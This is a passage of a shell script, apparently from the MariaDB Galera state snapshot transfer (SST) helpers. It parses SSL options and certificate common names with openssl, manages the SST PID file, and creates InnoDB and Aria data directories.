check_server_ssl_config() { # backward-compatible behavior: tcert=$(parse_cnf 'sst' 'tca') tcap=$(parse_cnf 'sst' 'tcapath') tpem=$(parse_cnf 'sst' 'tcert') tkey=$(parse_cnf 'sst' 'tkey') # reading new ssl configuration options: local tcert2=$(parse_cnf "$encgroups" 'ssl-ca') local tcap2=$(parse_cnf "$encgroups" 'ssl-capath') local tpem2=$(parse_cnf "$encgroups" 'ssl-cert') local tkey2=$(parse_cnf "$encgroups" 'ssl-key') # if there are no old options, then we take new ones: if [ -z "$tcert" -a -z "$tcap" -a -z "$tpem" -a -z "$tkey" ]; then tcert="$tcert2" tcap="$tcap2" tpem="$tpem2" tkey="$tkey2" # checking for presence of the new-style SSL configuration: elif [ -n "$tcert2" -o -n "$tcap2" -o -n "$tpem2" -o -n "$tkey2" ]; then if [ "$tcert" != "$tcert2" -o \ "$tcap" != "$tcap2" -o \ "$tpem" != "$tpem2" -o \ "$tkey" != "$tkey2" ] then wsrep_log_info \ "new ssl configuration options (ssl-ca[path], ssl-cert" \ "and ssl-key) are ignored by SST due to presence" \ "of the tca[path], tcert and/or tkey in the [sst] section" fi fi if [ -n "$tcert" ]; then if [ "${tcert%/}" != "$tcert" -o -d "$tcert" ]; then tcap="$tcert" tcert="" fi fi } # Get Common Name (CN) from the certificate: openssl_getCN() { get_openssl if [ -z "$OPENSSL_BINARY" ]; then wsrep_log_error \ 'openssl not found but it is required for authentication' exit 42 fi local bug=0 local CN=$("$OPENSSL_BINARY" x509 -noout -subject -in "$1" 2>&1) || bug=1 if [ $bug -ne 0 ]; then wsrep_log_info "run: \"$OPENSSL_BINARY\" x509 -noout -subject -in \"$1\"" wsrep_log_info "output: $CN" wsrep_log_error "******** FATAL ERROR **********************************************" wsrep_log_error "* Unable to parse the certificate file to obtain the common name. *" wsrep_log_error "*******************************************************************" exit 22 fi CN=$(trim_string "$CN") if [ -n "$CN" ]; then # If the string begins with the "subject" prefix # then we need to remove it: local saved="$CN" local remain="${CN#subject}" if [ "$remain" != "$saved" ]; then remain=$(trim_left "$remain") # Now let's check for the presence of "=" character # after the "subject": saved="$remain" remain="${remain#=}" if [ "$remain" != "$saved" ]; then remain=$(trim_left "$remain") else remain="" bug=1 fi fi while [ -n "$remain" ]; do local value="" # Let's extract the option name - all characters # up to the first '=' or ',' character (if present): local option="${remain%%[=,]*}" if [ "$option" != "$remain" ]; then option=$(trim_right "$option") # These variables will be needed to determine # which separator comes first: local x="${remain#*=}" local y="${remain#*,}" local z=${#remain} x=${#x}; [ $x -eq $z ] && x=0 y=${#y}; [ $y -eq $z ] && y=0 # The remaining string is everything that follows # the separator character: remain=$(trim_left "${remain#*[=,]}") # Let's check what we are dealing with - an equal # sign or a comma? if [ $x -gt $y ]; then # If the remainder begins with a double quote, # then there is a string containing commas and # we need to parse it: saved="$remain" remain="${remain#\"}" if [ "$remain" != "$saved" ]; then while :; do # We need to find the closing quote: local prefix="$remain" remain="${remain#*\"}" # Let's check if there is a closing quote? if [ "$remain" = "$prefix" ]; then bug=1 break fi # Everything up to the closing quote is # the next part of the value: value="$value${prefix%%\"*}" # But if the last character of the value # is a backslash, then it is a quoted quotation # mark and we need to add it to the value: if [ "${value%\\}" != "$value" ]; then value="$value\"" else break fi done [ $bug -ne 0 ] && break # Now we have to remove "," if it is present # in the string after the value: saved=$(trim_left "$remain") remain="${saved#,}" if [ "$remain" != "$saved" ]; then remain=$(trim_left "$remain") elif [ -n "$remain" ]; then bug=1 break fi else # We are dealing with a simple unquoted string value, # therefore we need to take everything up to the end # of the string, or up to the next comma character: value="${remain%%,*}" if [ "$value" != "$remain" ]; then remain=$(trim_left "${remain#*,}") else remain="" fi value=$(trim_right "$value") fi if [ "$option" = 'CN' -a -n "$value" ]; then echo "$value" return fi fi else remain="" fi done fi if [ $bug -ne 0 ]; then wsrep_log_error "******** FATAL ERROR **********************************************" wsrep_log_error "* Unable to parse the certificate options: '$CN'" wsrep_log_error "*******************************************************************" exit 22 fi echo '' } simple_cleanup() { # Since this is invoked just after exit NNN local estatus=$? if [ $estatus -ne 0 ]; then wsrep_log_error "Cleanup after exit with status: $estatus" fi if [ -n "$SST_PID" ]; then [ "$(pwd)" != "$OLD_PWD" ] && cd "$OLD_PWD" [ -f "$SST_PID" ] && rm -f "$SST_PID" || : fi exit $estatus } create_data() { OLD_PWD="$(pwd)" DATA_DIR="$OLD_PWD" if [ -n "$DATA" -a "$DATA" != '.' ]; then [ ! -d "$DATA" ] && mkdir -p "$DATA" cd "$DATA" DATA_DIR="$(pwd)" cd "$OLD_PWD" fi } create_dirs() { local simplify=${1:-0} # if no command line argument and INNODB_DATA_HOME_DIR environment # variable is not set, try to get it from the my.cnf: if [ -z "$INNODB_DATA_HOME_DIR" ]; then INNODB_DATA_HOME_DIR=$(parse_cnf '--mysqld' 'innodb-data-home-dir') INNODB_DATA_HOME_DIR=$(trim_dir "$INNODB_DATA_HOME_DIR") fi if [ -n "$INNODB_DATA_HOME_DIR" -a "$INNODB_DATA_HOME_DIR" != '.' -a \ "$INNODB_DATA_HOME_DIR" != "$DATA_DIR" ] then # handle both relative and absolute paths: cd "$DATA" [ ! -d "$INNODB_DATA_HOME_DIR" ] && mkdir -p "$INNODB_DATA_HOME_DIR" cd "$INNODB_DATA_HOME_DIR" ib_home_dir="$(pwd)" cd "$OLD_PWD" [ $simplify -ne 0 -a "$ib_home_dir" = "$DATA_DIR" ] && ib_home_dir="" fi # if no command line argument and INNODB_LOG_GROUP_HOME is not set, # then try to get it from the my.cnf: if [ -z "$INNODB_LOG_GROUP_HOME" ]; then INNODB_LOG_GROUP_HOME=$(parse_cnf '--mysqld' 'innodb-log-group-home-dir') INNODB_LOG_GROUP_HOME=$(trim_dir "$INNODB_LOG_GROUP_HOME") fi if [ -n "$INNODB_LOG_GROUP_HOME" -a "$INNODB_LOG_GROUP_HOME" != '.' -a \ "$INNODB_LOG_GROUP_HOME" != "$DATA_DIR" ] then # handle both relative and absolute paths: cd "$DATA" [ ! -d "$INNODB_LOG_GROUP_HOME" ] && mkdir -p "$INNODB_LOG_GROUP_HOME" cd "$INNODB_LOG_GROUP_HOME" ib_log_dir="$(pwd)" cd "$OLD_PWD" [ $simplify -ne 0 -a "$ib_log_dir" = "$DATA_DIR" ] && ib_log_dir="" fi # if no command line argument and INNODB_UNDO_DIR is not set, # then try to get it from the my.cnf: if [ -z "$INNODB_UNDO_DIR" ]; then INNODB_UNDO_DIR=$(parse_cnf '--mysqld' 'innodb-undo-directory') INNODB_UNDO_DIR=$(trim_dir "$INNODB_UNDO_DIR") fi if [ -n "$INNODB_UNDO_DIR" -a "$INNODB_UNDO_DIR" != '.' -a \ "$INNODB_UNDO_DIR" != "$DATA_DIR" ] then # handle both relative and absolute paths: cd "$DATA" [ ! -d "$INNODB_UNDO_DIR" ] && mkdir -p "$INNODB_UNDO_DIR" cd "$INNODB_UNDO_DIR" ib_undo_dir="$(pwd)" cd "$OLD_PWD" [ $simplify -ne 0 -a "$ib_undo_dir" = "$DATA_DIR" ] && ib_undo_dir="" fi # if no command line argument then try to get it from the my.cnf: if [ -z "$ARIA_LOG_DIR" ]; then ARIA_LOG_DIR=$(parse_cnf '--mysqld' 'aria-log-dir-path') ARIA_LOG_DIR=$(trim_dir "$ARIA_LOG_DIR") fi if [ -n "$ARIA_LOG_DIR" -a "$ARIA_LOG_DIR" != '.' -a \ "$ARIA_LOG_DIR" != "$DATA_DIR" ] then # handle both relative and absolute paths: cd "$DATA" [ ! -d "$ARIA_LOG_DIR" ] && mkdir -p "$ARIA_LOG_DIR" cd "$ARIA_LOG_DIR" ar_log_dir="$(pwd)" cd "$OLD_PWD" [ $simplify -ne 0 -a "$ar_log_dir" = "$DATA_DIR" ] && ar_log_dir="" fi return 0 } wait_previous_sst() { # give some time for previous SST to complete: check_round=0 while check_pid "$SST_PID" 1; do wsrep_log_info "Previous SST is not completed, waiting for it to exit" check_round=$(( check_round+1 )) if [ $check_round -eq 30 ]; then wsrep_log_error "previous SST script still running..." exit 114 # EALREADY fi sleep 1 done trap simple_cleanup EXIT echo $$ > "$SST_PID" } DATA="$WSREP_SST_OPT_DATA" wsrep_check_datadir create_data SST_PID="$DATA/wsrep_sst.pid" if [ -n "${MTR_SST_JOINER_DELAY:-}" ]; then MTR_SST_JOINER_DELAY=$(trim_string "$MTR_SST_JOINER_DELAY") fi simulate_long_sst() { # Delay for MTR tests if needed to simulate long SST/IST: if [ ${MTR_SST_JOINER_DELAY:-0} -gt 0 ]; then wsrep_log_info "Sleeping $MTR_SST_JOINER_DELAY seconds for MTR test" sleep $MTR_SST_JOINER_DELAY fi } wsrep_log_info "$WSREP_METHOD $WSREP_TRANSFER_TYPE started on $WSREP_SST_OPT_ROLE"